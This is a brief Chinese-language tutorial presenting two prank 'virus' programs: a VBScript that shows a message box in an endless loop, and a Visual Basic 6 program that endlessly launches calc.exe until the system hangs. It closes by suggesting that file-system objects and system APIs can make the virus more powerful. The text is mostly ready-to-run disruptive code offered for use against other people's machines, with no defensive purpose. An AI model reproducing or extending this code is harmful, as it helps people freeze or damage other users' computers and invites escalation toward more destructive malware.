1.VBS版本：
打開記事本，輸入以下代碼：
Do Until 1=2
Wscript.echo "煩死妳!"
Loop
保存為1.VBS，運行後不斷出現"煩死妳"的對話框。
2.VB6版本：
打開Visual Basic 6.0，雙擊窗體，輸入以下代碼：
Private Sub Form_Load()
Do Until 1=2
Me.Hide
Me.Show
Shell "calc.exe"
Loop
End Sub 保存後編譯為EXE文件，運行後馬上死機。
後記：
如果是Win2000以上操作系統，在VB中調用FSO和系統API，可以極大增強病毒的威力。